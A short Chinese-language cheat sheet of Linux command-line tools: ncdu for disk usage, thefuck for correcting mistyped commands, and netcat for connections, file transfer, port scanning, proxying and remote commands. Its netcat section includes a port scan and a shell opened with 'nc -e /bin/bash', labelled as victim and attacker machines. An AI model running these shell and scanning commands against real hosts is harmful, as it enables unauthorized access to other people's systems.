磁盘占用查看
安装
# ubuntu
apt install ncdu
# centos
yum install ncdu
使用方法
ncdu 目录
命令纠错
安装
pip3 install thefuck
添加以下内容到 shell 配置文件(如 .bashrc 或 .zshrc):
# 编辑bashrc(或zshrc)配置文件
vim ~/.bashrc
# 给thefuck取别名fuck
eval "$(thefuck --alias fuck)"
# 刷新生效
source ~/.bashrc
使用方法
执行错误命令后,执行fuck将自动更正
端口侦听
安装
# ubuntu
apt-get install netcat
# centos
yum install netcat
使用方法
两台计算机之间建立简单的TCP连接
# 在服务器上监听指定端口
nc -l -p 1234
# 在客户端连接到服务器
nc 服务器IP地址 1234
文件传输
# 在接收端运行
nc -l -p 1234 > received_file
# 在发送端运行
nc 接收端IP地址 1234 < local_file
端口扫描
nc -zv 目标主机IP 20-80
创建反向 Shell
# 在靶机
nc -l -p 4444 -e /bin/bash
# 在攻击机
nc 目标主机IP 4444
创建简单代理
nc -l -p 8080 -c "nc 目标主机IP 80"
这个命令将监听目标主机端口8080,将所有接收到的流量转发到目标主机的80端口。
远程执行命令
# 在远程系统上执行命令并返回结果
nc -w 3 目标主机IP 1234 <<< "ls -l"